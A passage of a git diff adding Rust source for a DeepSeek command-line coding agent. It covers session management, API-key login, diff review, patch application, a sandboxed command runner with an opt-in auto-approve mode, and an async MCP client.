std::fs::read_to_string(&mcp_config) + && let Ok(config) = serde_json::from_str::(&content) + { + if config.servers.is_empty() { + println!(" {} 0 server(s) configured", "·".dimmed()); + } else { + println!( + " {} {} server(s) configured", + "·".dimmed(), + config.servers.len() + ); + for name in config.servers.keys() { + println!(" - {name}"); + } + } + } + } else { + println!(" {} mcp.json not found (no MCP servers)", "·".dimmed()); + } + + // Check skills directory + println!(); + println!("{}", "Skills:".bold()); + let skills_dir = config_dir.join("skills"); + if skills_dir.exists() { + let skill_count = std::fs::read_dir(skills_dir) + .map(|entries| entries.filter_map(std::result::Result::ok).count()) + .unwrap_or(0); + println!( + " {} skills directory found ({} items)", + "✓".truecolor(aqua_r, aqua_g, aqua_b), + skill_count + ); + } else { + println!(" {} skills directory not found", "·".dimmed()); + } + + // Platform-specific checks + println!(); + println!("{}", "Platform:".bold()); + println!(" OS: {}", std::env::consts::OS); + println!(" Arch: {}", std::env::consts::ARCH); + + #[cfg(target_os = "macos")] + { + if std::path::Path::new("/usr/bin/sandbox-exec").exists() { + println!( + " {} macOS sandbox available", + "✓".truecolor(aqua_r, aqua_g, aqua_b) + ); + } else { + println!( + " {} macOS sandbox not available", + "!".truecolor(sky_r, sky_g, sky_b) + ); + } + } + + println!(); + println!( + "{}", + "All checks complete!" + .truecolor(aqua_r, aqua_g, aqua_b) + .bold() + ); +} + +fn run_execpolicy_command(command: ExecpolicyCommand) -> Result<()> { + match command.command { + ExecpolicySubcommand::Check(cmd) => cmd.run().map_err(Into::into), + } +} + +fn run_features_command(config: &Config, command: FeaturesCli) -> Result<()> { + match command.command { + FeaturesSubcommand::List => run_features_list(config), + } +} + +fn stage_str(stage: features::Stage) -> &'static str { + match stage { + features::Stage::Experimental => "experimental", + features::Stage::Beta => "beta", + features::Stage::Stable => "stable", + features::Stage::Deprecated => "deprecated", + features::Stage::Removed => "removed", + } +} + +fn run_features_list(config: &Config) -> Result<()> { + let features = config.features(); + println!("feature\tstage\tenabled"); + for spec in features::FEATURES { + let enabled = features.enabled(spec.id); + println!("{}\t{}\t{enabled}", spec.key, stage_str(spec.stage)); + } + Ok(()) +} + +/// Test API connectivity by making a minimal request +async fn test_api_connectivity() -> Result { + use crate::client::DeepSeekClient; + use crate::models::{ContentBlock, Message, MessageRequest}; + + let config = Config::load(None, None)?; + let client = DeepSeekClient::new(&config)?; + let model = client.model().to_string(); + + // Minimal request: single word prompt, 1 max token + let request = MessageRequest { + model: model.clone(), + messages: vec![Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: "hi".to_string(), + cache_control: None, + }], + }], + max_tokens: 1, + system: None, + tools: None, + tool_choice: None, + metadata: None, + thinking: None, + stream: Some(false), + temperature: None, + top_p: None, + }; + + // Use tokio timeout to catch hanging requests + let timeout_duration = std::time::Duration::from_secs(15); + match tokio::time::timeout(timeout_duration, client.create_message(request)).await { + Ok(Ok(_response)) => Ok(model), + Ok(Err(e)) => Err(e), + Err(_) => anyhow::bail!("Request timeout after 15 seconds"), + } +} + +fn rustc_version() -> String { + // Try to get rustc version, fall back to "unknown" + std::process::Command::new("rustc") + .arg("--version") + .output() + .ok() + .and_then(|o| String::from_utf8(o.stdout).ok()) + .map_or_else(|| "unknown".to_string(), |s| s.trim().to_string()) +} + +/// List saved sessions +fn list_sessions(limit: usize, search: Option) -> Result<()> { + use crate::palette; + use colored::Colorize; + use session_manager::{SessionManager, format_session_line}; + + let (blue_r, blue_g, blue_b) = palette::DEEPSEEK_BLUE_RGB; + let (sky_r, sky_g, sky_b) = palette::DEEPSEEK_SKY_RGB; + let (aqua_r, aqua_g, aqua_b) = palette::DEEPSEEK_SKY_RGB; + + let manager = SessionManager::default_location()?; + + let sessions = if let Some(query) = search { + manager.search_sessions(&query)? + } else { + manager.list_sessions()? + }; + + if sessions.is_empty() { + println!("{}", "No sessions found.".truecolor(sky_r, sky_g, sky_b)); + println!( + "Start a new session with: {}", + "deepseek".truecolor(blue_r, blue_g, blue_b) + ); + return Ok(()); + } + + println!( + "{}", + "Saved Sessions".truecolor(blue_r, blue_g, blue_b).bold() + ); + println!("{}", "==============".truecolor(sky_r, sky_g, sky_b)); + println!(); + + for (i, session) in sessions.iter().take(limit).enumerate() { + let line = format_session_line(session); + if i == 0 { + println!(" {} {}", "*".truecolor(aqua_r, aqua_g, aqua_b), line); + } else { + println!(" {line}"); + } + } + + let total = sessions.len(); + if total > limit { + println!(); + println!( + " {} more session(s). Use --limit to show more.", + total - limit + ); + } + + println!(); + println!( + "Resume with: {} {}", + "deepseek --resume".truecolor(blue_r, blue_g, blue_b), + "".dimmed() + ); + println!( + "Continue latest: {}", + "deepseek --continue".truecolor(blue_r, blue_g, blue_b) + ); + + Ok(()) +} + +/// Initialize a new project with AGENTS.md +fn init_project() -> Result<()> { + use crate::palette; + use colored::Colorize; + use project_context::create_default_agents_md; + + let (sky_r, sky_g, sky_b) = palette::DEEPSEEK_SKY_RGB; + let (aqua_r, aqua_g, aqua_b) = palette::DEEPSEEK_SKY_RGB; + let (red_r, red_g, red_b) = palette::DEEPSEEK_RED_RGB; + + let workspace = std::env::current_dir()?; + let agents_path = workspace.join("AGENTS.md"); + + if agents_path.exists() { + println!( + "{} AGENTS.md already exists at {}", + "!".truecolor(sky_r, sky_g, sky_b), + agents_path.display() + ); + return Ok(()); + } + + match create_default_agents_md(&workspace) { + Ok(path) => { + println!( + "{} Created {}", + "✓".truecolor(aqua_r, aqua_g, aqua_b), + path.display() + ); + println!(); + println!("Edit this file to customize how the AI agent works with your project."); + println!("The instructions will be loaded automatically when you run deepseek."); + } + Err(e) => { + println!( + "{} Failed to create AGENTS.md: {}", + "✗".truecolor(red_r, red_g, red_b), + e + ); + } + } + + Ok(()) +} + +fn load_config_from_cli(cli: &Cli) -> Result { + let profile = cli + .profile + .clone() + .or_else(|| std::env::var("DEEPSEEK_PROFILE").ok()); + let mut config = Config::load(cli.config.clone(), profile.as_deref())?; + cli.feature_toggles.apply(&mut config)?; + Ok(config) +} + +fn read_api_key_from_stdin() -> Result { + let mut stdin = io::stdin(); + if stdin.is_terminal() { + bail!("No API key provided. Pass --api-key or pipe one via stdin."); + } + let mut buffer = String::new(); + stdin.read_to_string(&mut buffer)?; + let api_key = buffer.trim().to_string(); + if api_key.is_empty() { + bail!("No API key provided via stdin."); + } + Ok(api_key) +} + +fn run_login(api_key: Option) -> Result<()> { + let api_key = match api_key { + Some(key) => key, + None => read_api_key_from_stdin()?, + }; + let path = config::save_api_key(&api_key)?; + println!("Saved API key to {}", path.display()); + Ok(()) +} + +fn run_logout() -> Result<()> { + config::clear_api_key()?; + println!("Cleared saved API key."); + Ok(()) +} + +fn resolve_session_id(session_id: Option, last: bool) -> Result { + if last { + return Ok("latest".to_string()); + } + if let Some(id) = session_id { + return Ok(id); + } + pick_session_id() +} + +fn fork_session(session_id: Option, last: bool) -> Result { + let manager = SessionManager::default_location()?; + let saved = if last { + let Some(meta) = manager.get_latest_session()? else { + bail!("No saved sessions found."); + }; + manager.load_session(&meta.id)? + } else { + let id = resolve_session_id(session_id, false)?; + manager.load_session_by_prefix(&id)? + }; + + let system_prompt = saved + .system_prompt + .as_ref() + .map(|text| SystemPrompt::Text(text.clone())); + let forked = create_saved_session( + &saved.messages, + &saved.metadata.model, + &saved.metadata.workspace, + saved.metadata.total_tokens, + system_prompt.as_ref(), + ); + manager.save_session(&forked)?; + Ok(forked.metadata.id) +} + +fn pick_session_id() -> Result { + let manager = SessionManager::default_location()?; + let sessions = manager.list_sessions()?; + if sessions.is_empty() { + bail!("No saved sessions found."); + } + + println!("Select a session to resume:"); + for (idx, session) in sessions.iter().enumerate() { + println!(" {:>2}. {} ({})", idx + 1, session.title, session.id); + } + print!("Enter a number (or press Enter to cancel): "); + io::stdout().flush()?; + + let mut input = String::new(); + io::stdin().read_line(&mut input)?; + let input = input.trim(); + if input.is_empty() { + bail!("No session selected."); + } + let idx: usize = input + .parse() + .map_err(|_| anyhow::anyhow!("Invalid input"))?; + let session = sessions + .get(idx.saturating_sub(1)) + .ok_or_else(|| anyhow::anyhow!("Selection out of range"))?; + Ok(session.id.clone()) +} + +async fn run_review(config: &Config, args: ReviewArgs) -> Result<()> { + use crate::client::DeepSeekClient; + + let diff = collect_diff(&args)?; + if diff.trim().is_empty() { + bail!("No diff to review."); + } + + let model = args + .model + .or_else(|| config.default_text_model.clone()) + .unwrap_or_else(|| "deepseek-reasoner".to_string()); + + let system = SystemPrompt::Text( + "You are a senior code reviewer. Focus on bugs, risks, behavioral regressions, and missing tests. \ +Provide findings ordered by severity with file references, then open questions, then a brief summary." + .to_string(), + ); + let user_prompt = + format!("Review the following diff and provide feedback:\n\n{diff}\n\nEnd of diff."); + + let client = DeepSeekClient::new(config)?; + let request = MessageRequest { + model, + messages: vec![Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: user_prompt, + cache_control: None, + }], + }], + max_tokens: 4096, + system: Some(system), + tools: None, + tool_choice: None, + metadata: None, + thinking: None, + stream: Some(false), + temperature: Some(0.2), + top_p: Some(0.9), + }; + + let response = client.create_message(request).await?; + for block in response.content { + if let ContentBlock::Text { text, .. } = block { + println!("{text}"); + } + } + Ok(()) +} + +fn collect_diff(args: &ReviewArgs) -> Result { + let mut cmd = Command::new("git"); + cmd.arg("diff"); + if args.staged { + cmd.arg("--cached"); + } + if let Some(base) = &args.base { + cmd.arg(format!("{base}...HEAD")); + } + if let Some(path) = &args.path { + cmd.arg("--").arg(path); + } + + let output = cmd + .output() + .map_err(|e| anyhow::anyhow!("Failed to run git diff. Is git installed? ({})", e))?; + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr); + bail!("git diff failed: {}", stderr.trim()); + } + let mut diff = String::from_utf8_lossy(&output.stdout).to_string(); + if diff.len() > args.max_chars { + diff = crate::utils::truncate_with_ellipsis(&diff, args.max_chars, "\n...[truncated]\n"); + } + Ok(diff) +} + +fn run_apply(args: ApplyArgs) -> Result<()> { + let patch = if let Some(path) = args.patch_file { + std::fs::read_to_string(&path) + .map_err(|e| anyhow::anyhow!("Failed to read patch {}: {}", path.display(), e))? + } else { + read_patch_from_stdin()? + }; + if patch.trim().is_empty() { + bail!("Patch is empty."); + } + + let mut tmp = NamedTempFile::new()?; + tmp.write_all(patch.as_bytes())?; + let tmp_path = tmp.path().to_path_buf(); + + let output = Command::new("git") + .arg("apply") + .arg("--whitespace=nowarn") + .arg(&tmp_path) + .output() + .map_err(|e| anyhow::anyhow!("Failed to run git apply: {}", e))?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr); + bail!("git apply failed: {}", stderr.trim()); + } + println!("Applied patch successfully."); + Ok(()) +} + +fn read_patch_from_stdin() -> Result { + let mut stdin = io::stdin(); + if stdin.is_terminal() { + bail!("No patch file provided and stdin is empty."); + } + let mut buffer = String::new(); + stdin.read_to_string(&mut buffer)?; + Ok(buffer) +} + +async fn run_mcp_command(config: &Config, command: McpCommand) -> Result<()> { + let config_path = config.mcp_config_path(); + match command { + McpCommand::List => { + let cfg = load_mcp_config(&config_path)?; + if cfg.servers.is_empty() { + println!("No MCP servers configured in {}", config_path.display()); + return Ok(()); + } + println!("MCP servers ({}):", cfg.servers.len()); + for (name, server) in cfg.servers { + let status = if server.disabled { + "disabled" + } else { + "enabled" + }; + let args = if server.args.is_empty() { + "".to_string() + } else { + format!(" {}", server.args.join(" ")) + }; + println!(" - {name} [{status}] {}{}", server.command, args); + } + Ok(()) + } + McpCommand::Connect { server } => { + let mut pool = McpPool::from_config_path(&config_path)?; + if let Some(name) = server { + pool.get_or_connect(&name).await?; + println!("Connected to MCP server: {name}"); + } else { + let errors = pool.connect_all().await; + if errors.is_empty() { + println!("Connected to all configured MCP servers."); + } else { + for (name, err) in errors { + eprintln!("Failed to connect {name}: {err}"); + } + } + } + Ok(()) + } + McpCommand::Tools { server } => { + let mut pool = McpPool::from_config_path(&config_path)?; + if let Some(name) = server { + let conn = pool.get_or_connect(&name).await?; + if conn.tools().is_empty() { + println!("No tools found for MCP server: {name}"); + } else { + println!("Tools for {name}:"); + for tool in conn.tools() { + println!( + " - {}{}", + tool.name, + tool.description + .as_ref() + .map_or(String::new(), |d| format!(": {d}")) + ); + } + } + } else { + let _ = pool.connect_all().await; + let tools = pool.all_tools(); + if tools.is_empty() { + println!("No MCP tools discovered."); + } else { + println!("MCP tools:"); + for (name, tool) in tools { + println!( + " - {}{}", + name, + tool.description + .as_ref() + .map_or(String::new(), |d| format!(": {d}")) + ); + } + } + } + Ok(()) + } + } +} + +fn load_mcp_config(path: &Path) -> Result { + if !path.exists() { + return Ok(McpConfig::default()); + } + let contents = std::fs::read_to_string(path) + .map_err(|e| anyhow::anyhow!("Failed to read MCP config {}: {}", path.display(), e))?; + let cfg: McpConfig = serde_json::from_str(&contents) + .map_err(|e| anyhow::anyhow!("Failed to parse MCP config: {e}"))?; + Ok(cfg) +} + +fn run_sandbox_command(args: SandboxArgs) -> Result<()> { + use crate::sandbox::{CommandSpec, SandboxManager}; + + let SandboxCommand::Run { + policy, + network, + writable_root, + exclude_tmpdir, + exclude_slash_tmp, + cwd, + timeout_ms, + command, + } = args.command; + + let policy = parse_sandbox_policy( + &policy, + network, + writable_root, + exclude_tmpdir, + exclude_slash_tmp, + )?; + let cwd = cwd.unwrap_or_else(|| std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))); + let timeout = Duration::from_millis(timeout_ms.clamp(1000, 600_000)); + + let (program, args) = command + .split_first() + .ok_or_else(|| anyhow::anyhow!("Command is required"))?; + let spec = CommandSpec::program( + program, + args.iter().cloned().collect(), + cwd.clone(), + timeout, + ) + .with_policy(policy); + let manager = SandboxManager::new(); + let exec_env = manager.prepare(&spec); + + let mut cmd = Command::new(exec_env.program()); + cmd.args(exec_env.args()) + .current_dir(&exec_env.cwd) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + for (key, value) in &exec_env.env { + cmd.env(key, value); + } + + let mut child = cmd + .spawn() + .map_err(|e| anyhow::anyhow!("Failed to run command: {e}"))?; + let stdout_handle = child + .stdout + .take() + .ok_or_else(|| anyhow::anyhow!("stdout unavailable"))?; + let stderr_handle = child + .stderr + .take() + .ok_or_else(|| anyhow::anyhow!("stderr unavailable"))?; + + let timeout = exec_env.timeout; + let stdout_thread = std::thread::spawn(move || { + let mut reader = stdout_handle; + let mut buf = Vec::new(); + let _ = reader.read_to_end(&mut buf); + buf + }); + let stderr_thread = std::thread::spawn(move || { + let mut reader = stderr_handle; + let mut buf = Vec::new(); + let _ = reader.read_to_end(&mut buf); + buf + }); + + if let Some(status) = child.wait_timeout(timeout)? { + let stdout = stdout_thread.join().unwrap_or_default(); + let stderr = stderr_thread.join().unwrap_or_default(); + let stderr_str = String::from_utf8_lossy(&stderr); + let exit_code = status.code().unwrap_or(-1); + let sandbox_type = exec_env.sandbox_type; + let sandbox_denied = SandboxManager::was_denied(sandbox_type, exit_code, &stderr_str); + + if !stdout.is_empty() { + print!("{}", String::from_utf8_lossy(&stdout)); + } + if !stderr.is_empty() { + eprint!("{}", stderr_str); + } + if sandbox_denied { + eprintln!( + "{}", + SandboxManager::denial_message(sandbox_type, &stderr_str) + ); + } + + if !status.success() { + bail!("Command failed with exit code {exit_code}"); + } + } else { + let _ = child.kill(); + let _ = child.wait(); + bail!("Command timed out after {}ms", timeout.as_millis()); + } + Ok(()) +} + +fn parse_sandbox_policy( + policy: &str, + network: bool, + writable_root: Vec, + exclude_tmpdir: bool, + exclude_slash_tmp: bool, +) -> Result { + use crate::sandbox::SandboxPolicy; + + match policy { + "danger-full-access" => Ok(SandboxPolicy::DangerFullAccess), + "read-only" => Ok(SandboxPolicy::ReadOnly), + "external-sandbox" => Ok(SandboxPolicy::ExternalSandbox { + network_access: network, + }), + "workspace-write" => Ok(SandboxPolicy::WorkspaceWrite { + writable_roots: writable_root, + network_access: network, + exclude_tmpdir, + exclude_slash_tmp, + }), + other => bail!("Unknown sandbox policy: {other}"), + } +} + +fn should_use_alt_screen(cli: &Cli, config: &Config) -> bool { + if cli.no_alt_screen { + return false; + } + + let mode = config + .tui + .as_ref() + .and_then(|tui| tui.alternate_screen.as_deref()) + .unwrap_or("auto") + .to_ascii_lowercase(); + + match mode.as_str() { + "always" => true, + "never" => false, + _ => !is_zellij(), + } +} + +fn is_zellij() -> bool { + std::env::var_os("ZELLIJ").is_some() +} + +async fn run_interactive( + cli: &Cli, + config: &Config, + resume_session_id: Option, +) -> Result<()> { + let workspace = cli + .workspace + .clone() + .unwrap_or_else(|| std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))); + let model = config + .default_text_model + .clone() + .unwrap_or_else(|| "deepseek-reasoner".to_string()); + let max_subagents = cli + .max_subagents + .map_or_else(|| config.max_subagents(), |value| value.clamp(1, 5)); + let use_alt_screen = should_use_alt_screen(cli, config); + + tui::run_tui( + config, + tui::TuiOptions { + model, + workspace, + allow_shell: cli.yolo || config.allow_shell(), + use_alt_screen, + skills_dir: config.skills_dir(), + memory_path: config.memory_path(), + notes_path: config.notes_path(), + mcp_config_path: config.mcp_config_path(), + use_memory: false, + start_in_agent_mode: cli.yolo, + yolo: cli.yolo, // YOLO mode auto-approves all tool executions + resume_session_id, + max_subagents, + }, + ) + .await +} + +async fn run_one_shot(config: &Config, model: &str, prompt: &str) -> Result<()> { + use crate::client::DeepSeekClient; + use crate::models::{ContentBlock, Message, MessageRequest}; + + let client = DeepSeekClient::new(config)?; + + let request = MessageRequest { + model: model.to_string(), + messages: vec![Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: prompt.to_string(), + cache_control: None, + }], + }], + max_tokens: 4096, + system: None, + tools: None, + tool_choice: None, + metadata: None, + thinking: None, + stream: Some(false), + temperature: None, + top_p: None, + }; + + let response = client.create_message(request).await?; + + for block in response.content { + if let ContentBlock::Text { text, .. } = block { + println!("{text}"); + } + } + + Ok(()) +} + +async fn run_exec_agent( + config: &Config, + model: &str, + prompt: &str, + workspace: PathBuf, + max_subagents: usize, + auto_approve: bool, + trust_mode: bool, +) -> Result<()> { + use std::sync::{Arc, Mutex}; + + use crate::compaction::CompactionConfig; + use crate::core::engine::{EngineConfig, spawn_engine}; + use crate::core::events::Event; + use crate::core::ops::Op; + use crate::duo::DuoSession; + use crate::rlm::RlmSession; + use crate::tools::plan::PlanState; + use crate::tools::todo::TodoList; + use crate::tui::app::AppMode; + + let engine_config = EngineConfig { + model: model.to_string(), + workspace: workspace.clone(), + allow_shell: auto_approve || config.allow_shell(), + trust_mode, + notes_path: config.notes_path(), + mcp_config_path: config.mcp_config_path(), + max_steps: 100, + max_subagents, + features: config.features(), + rlm_session: Arc::new(Mutex::new(RlmSession::default())), + duo_session: Arc::new(Mutex::new(DuoSession::new())), + compaction: CompactionConfig::default(), + todos: Arc::new(Mutex::new(TodoList::new())), + plan_state: Arc::new(Mutex::new(PlanState::default())), + }; + + let engine_handle = spawn_engine(engine_config, config); + let mode = if auto_approve { + AppMode::Yolo + } else { + AppMode::Agent + }; + + engine_handle + .send(Op::send( + prompt, + mode, + model, + auto_approve || config.allow_shell(), + trust_mode, + )) + .await?; + + let mut stdout = io::stdout(); + let mut ends_with_newline = false; + loop { + let event = { + let mut rx = engine_handle.rx_event.write().await; + rx.recv().await + }; + + let Some(event) = event else { + break; + }; + + match event { + Event::MessageDelta { content, .. } => { + print!("{content}"); + stdout.flush()?; + ends_with_newline = content.ends_with('\n'); + } + Event::MessageComplete { .. } => { + if !ends_with_newline { + println!(); + } + } + Event::ToolCallStarted { name, input, .. } => { + let summary = summarize_tool_args(&input); + if let Some(summary) = summary { + eprintln!("tool: {name} ({summary})"); + } else { + eprintln!("tool: {name}"); + } + } + Event::ToolCallProgress { id, output } => { + eprintln!("tool {id}: {}", summarize_tool_output(&output)); + } + Event::ToolCallComplete { name, result, .. } => match result { + Ok(output) => { + if name == "exec_shell" && !output.content.trim().is_empty() { + eprintln!("tool {name} completed"); + eprintln!( + "--- stdout/stderr ---\n{}\n---------------------", + output.content + ); + } else { + eprintln!( + "tool {name} completed: {}", + summarize_tool_output(&output.content) + ); + } + } + Err(err) => { + eprintln!("tool {name} failed: {err}"); + } + }, + Event::AgentSpawned { id, prompt } => { + eprintln!("sub-agent {id} spawned: {}", summarize_tool_output(&prompt)); + } + Event::AgentProgress { id, status } => { + eprintln!("sub-agent {id}: {status}"); + } + Event::AgentComplete { id, result } => { + eprintln!( + "sub-agent {id} completed: {}", + summarize_tool_output(&result) + ); + } + Event::ApprovalRequired { id, .. } => { + if auto_approve { + let _ = engine_handle.approve_tool_call(id).await; + } else { + let _ = engine_handle.deny_tool_call(id).await; + } + } + Event::ElevationRequired { + tool_id, + tool_name, + denial_reason, + .. + } => { + if auto_approve { + eprintln!("sandbox denied {tool_name}: {denial_reason} (auto-elevating)"); + let policy = crate::sandbox::SandboxPolicy::DangerFullAccess; + let _ = engine_handle.retry_tool_with_policy(tool_id, policy).await; + } else { + eprintln!("sandbox denied {tool_name}: {denial_reason}"); + let _ = engine_handle.deny_tool_call(tool_id).await; + } + } + Event::Error { + message, + recoverable: _, + } => { + eprintln!("error: {message}"); + } + Event::TurnComplete { .. } => { + let _ = engine_handle.send(Op::Shutdown).await; + break; + } + _ => {} + } + } + + Ok(()) +} diff --git a/src/mcp.rs b/src/mcp.rs new file mode 100644 index 00000000..88363ef0 --- /dev/null +++ b/src/mcp.rs @@ -0,0 +1,1003 @@ +//! Async MCP (Model Context Protocol) Implementation +//! +//! This module provides full async support for MCP servers with: +//! - Connection pooling for server reuse +//! - Automatic tool discovery via `tools/list` +//! - Configurable timeouts per-server and globally +//! - Backward compatibility with existing sync API + +#![allow(dead_code)] + +use std::collections::HashMap; +use std::fs; +use std::io::{BufRead, BufReader, Write}; +use std::path::Path; +use std::process::{Command, Stdio}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; +use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; +use tokio::process::{Child, ChildStdin, ChildStdout}; + +// === Configuration Types === + +/// Full MCP configuration from mcp.json +#[derive(Debug, Clone, Default, Deserialize, Serialize)] +pub struct McpConfig { + #[serde(default)] + pub timeouts: McpTimeouts, + #[serde(default, alias = "mcpServers")] + pub servers: HashMap, +} + +/// Global timeout configuration +#[derive(Debug, Clone, Copy, Deserialize, Serialize)] +#[allow(clippy::struct_field_names)] +pub struct McpTimeouts { + #[serde(default = "default_connect_timeout")] + pub connect_timeout: u64, + #[serde(default = "default_execute_timeout")] + pub execute_timeout: u64, + #[serde(default = "default_read_timeout")] + pub read_timeout: u64, +} + +fn default_connect_timeout() -> u64 { + 10 +} +fn default_execute_timeout() -> u64 { + 60 +} +fn default_read_timeout() -> u64 { + 120 +} + +impl Default for McpTimeouts { + fn default() -> Self { + Self { + connect_timeout: default_connect_timeout(), + execute_timeout: default_execute_timeout(), + read_timeout: default_read_timeout(), + } + } +} + +/// Configuration for a single MCP server +#[derive(Debug, Clone, Deserialize, Serialize)] +pub struct McpServerConfig { + pub command: String, + #[serde(default)] + pub args: Vec, + #[serde(default)] + pub env: HashMap, + #[serde(default)] + pub connect_timeout: Option, + #[serde(default)] + pub execute_timeout: Option, + #[serde(default)] + pub read_timeout: Option, + #[serde(default)] + pub disabled: bool, +} + +impl McpServerConfig { + pub fn effective_connect_timeout(&self, global: &McpTimeouts) -> u64 { + self.connect_timeout.unwrap_or(global.connect_timeout) + } + + pub fn effective_execute_timeout(&self, global: &McpTimeouts) -> u64 { + self.execute_timeout.unwrap_or(global.execute_timeout) + } + + pub fn effective_read_timeout(&self, global: &McpTimeouts) -> u64 { + self.read_timeout.unwrap_or(global.read_timeout) + } +} + +// === MCP Tool Definition === + +/// Tool discovered from an MCP server +#[derive(Debug, Clone, Deserialize, Serialize)] +pub struct McpTool { + pub name: String, + #[serde(default)] + pub description: Option, + #[serde(rename = "inputSchema", default)] + pub input_schema: serde_json::Value, +} + +// === Connection State === + +/// State of an MCP connection +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ConnectionState { + Connecting, + Ready, + Disconnected, +} + +// === McpConnection - Async Connection Management === + +/// Manages a single async connection to an MCP server +pub struct McpConnection { + name: String, + _child: Child, + stdin: ChildStdin, + reader: tokio::io::BufReader, + tools: Vec, + request_id: AtomicU64, + state: ConnectionState, + config: McpServerConfig, +} + +impl McpConnection { + /// Connect to an MCP server and initialize it + pub async fn connect( + name: String, + config: McpServerConfig, + global_timeouts: &McpTimeouts, + ) -> Result { + let connect_timeout_secs = config.effective_connect_timeout(global_timeouts); + + let mut cmd = tokio::process::Command::new(&config.command); + cmd.args(&config.args) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::null()) + .kill_on_drop(true); + + for (key, value) in &config.env { + cmd.env(key, value); + } + + let mut child = cmd + .spawn() + .with_context(|| format!("Failed to spawn MCP server '{name}'"))?; + + let stdin = child.stdin.take().context("Failed to get MCP stdin")?; + let stdout = child.stdout.take().context("Failed to get MCP stdout")?; + + let mut conn = Self { + name: name.clone(), + _child: child, + stdin, + reader: tokio::io::BufReader::new(stdout), + tools: Vec::new(), + request_id: AtomicU64::new(1), + state: ConnectionState::Connecting, + config, + }; + + // Initialize with timeout + tokio::time::timeout(Duration::from_secs(connect_timeout_secs), conn.initialize()) + .await + .with_context(|| format!("MCP server '{name}' initialization timed out"))??; + + // Discover tools with timeout + tokio::time::timeout( + Duration::from_secs(connect_timeout_secs), + conn.discover_tools(), + ) + .await + .with_context(|| format!("MCP server '{name}' tool discovery timed out"))??; + + conn.state = ConnectionState::Ready; + Ok(conn) + } + + /// Send initialize request and wait for response + async fn initialize(&mut self) -> Result<()> { + let init_id = self.next_id(); + self.send(serde_json::json!({ + "jsonrpc": "2.0", + "id": init_id, + "method": "initialize", + "params": { + "protocolVersion": "2024-11-05", + "clientInfo": { + "name": "deepseek-cli", + "version": env!("CARGO_PKG_VERSION") + }, + "capabilities": { "tools": {} } + } + })) + .await?; + + self.recv(init_id).await?; + + // Send initialized notification (no id, no response expected) + self.send(serde_json::json!({ + "jsonrpc": "2.0", + "method": "notifications/initialized" + })) + .await?; + + Ok(()) + } + + /// Discover available tools from the MCP server + async fn discover_tools(&mut self) -> Result<()> { + let list_id = self.next_id(); + self.send(serde_json::json!({ + "jsonrpc": "2.0", + "id": list_id, + "method": "tools/list", + "params": {} + })) + .await?; + + let response = self.recv(list_id).await?; + + if let Some(result) = response.get("result") + && let Some(tools) = result.get("tools") + { + self.tools = serde_json::from_value(tools.clone()).unwrap_or_default(); + } + + Ok(()) + } + + /// Call a tool on this MCP server + pub async fn call_tool( + &mut self, + tool_name: &str, + arguments: serde_json::Value, + timeout_secs: u64, + ) -> Result { + if self.state != ConnectionState::Ready { + anyhow::bail!( + "Failed to call MCP tool: connection '{}' is not ready", + self.name + ); + } + + let call_id = self.next_id(); + self.send(serde_json::json!({ + "jsonrpc": "2.0", + "id": call_id, + "method": "tools/call", + "params": { + "name": tool_name, + "arguments": arguments + } + })) + .await?; + + let response = tokio::time::timeout(Duration::from_secs(timeout_secs), self.recv(call_id)) + .await + .with_context(|| { + format!( + "MCP tool '{}' on server '{}' timed out after {}s", + tool_name, self.name, timeout_secs + ) + })??; + + if let Some(error) = response.get("error") { + return Err(anyhow::anyhow!( + "MCP error: {}", + serde_json::to_string_pretty(error)? + )); + } + + Ok(response + .get("result") + .cloned() + .unwrap_or(serde_json::json!(null))) + } + + /// Get discovered tools + pub fn tools(&self) -> &[McpTool] { + &self.tools + } + + /// Get server name + pub fn name(&self) -> &str { + &self.name + } + + /// Check if connection is ready + pub fn is_ready(&self) -> bool { + self.state == ConnectionState::Ready + } + + /// Get server config + pub fn config(&self) -> &McpServerConfig { + &self.config + } + + /// Get connection state + pub fn state(&self) -> ConnectionState { + self.state + } + + fn next_id(&self) -> u64 { + self.request_id.fetch_add(1, Ordering::SeqCst) + } + + async fn send(&mut self, msg: serde_json::Value) -> Result<()> { + let line = serde_json::to_string(&msg)? + "\n"; + self.stdin.write_all(line.as_bytes()).await?; + self.stdin.flush().await?; + Ok(()) + } + + async fn recv(&mut self, expected_id: u64) -> Result { + let mut line = String::new(); + loop { + line.clear(); + let bytes = self.reader.read_line(&mut line).await?; + if bytes == 0 { + self.state = ConnectionState::Disconnected; + anyhow::bail!( + "Failed to read MCP response: server '{}' closed connection", + self.name + ); + } + + let trimmed = line.trim(); + if trimmed.is_empty() { + continue; + } + + if let Ok(value) = serde_json::from_str::(trimmed) { + // Check if this is a response with the expected id + if value.get("id").and_then(serde_json::Value::as_u64) == Some(expected_id) { + return Ok(value); + } + // Skip notifications (no id) and responses with different ids + } + } + } + + /// Gracefully close the connection + pub fn close(&mut self) { + self.state = ConnectionState::Disconnected; + // Child process will be killed on drop due to kill_on_drop(true) + } +} + +impl Drop for McpConnection { + fn drop(&mut self) { + // Child is automatically killed due to kill_on_drop(true) + } +} + +// === McpPool - Connection Pool Management === + +/// Pool of MCP connections for reuse +pub struct McpPool { + connections: HashMap, + config: McpConfig, +} + +impl McpPool { + /// Create a new pool with the given configuration + pub fn new(config: McpConfig) -> Self { + Self { + connections: HashMap::new(), + config, + } + } + + /// Create a pool from a configuration file path + pub fn from_config_path(path: &std::path::Path) -> Result { + let config = if path.exists() { + let contents = fs::read_to_string(path) + .with_context(|| format!("Failed to read MCP config: {}", path.display()))?; + serde_json::from_str(&contents) + .with_context(|| format!("Failed to parse MCP config: {}", path.display()))? + } else { + McpConfig::default() + }; + Ok(Self::new(config)) + } + + /// Get or create a connection to a server + pub async fn get_or_connect(&mut 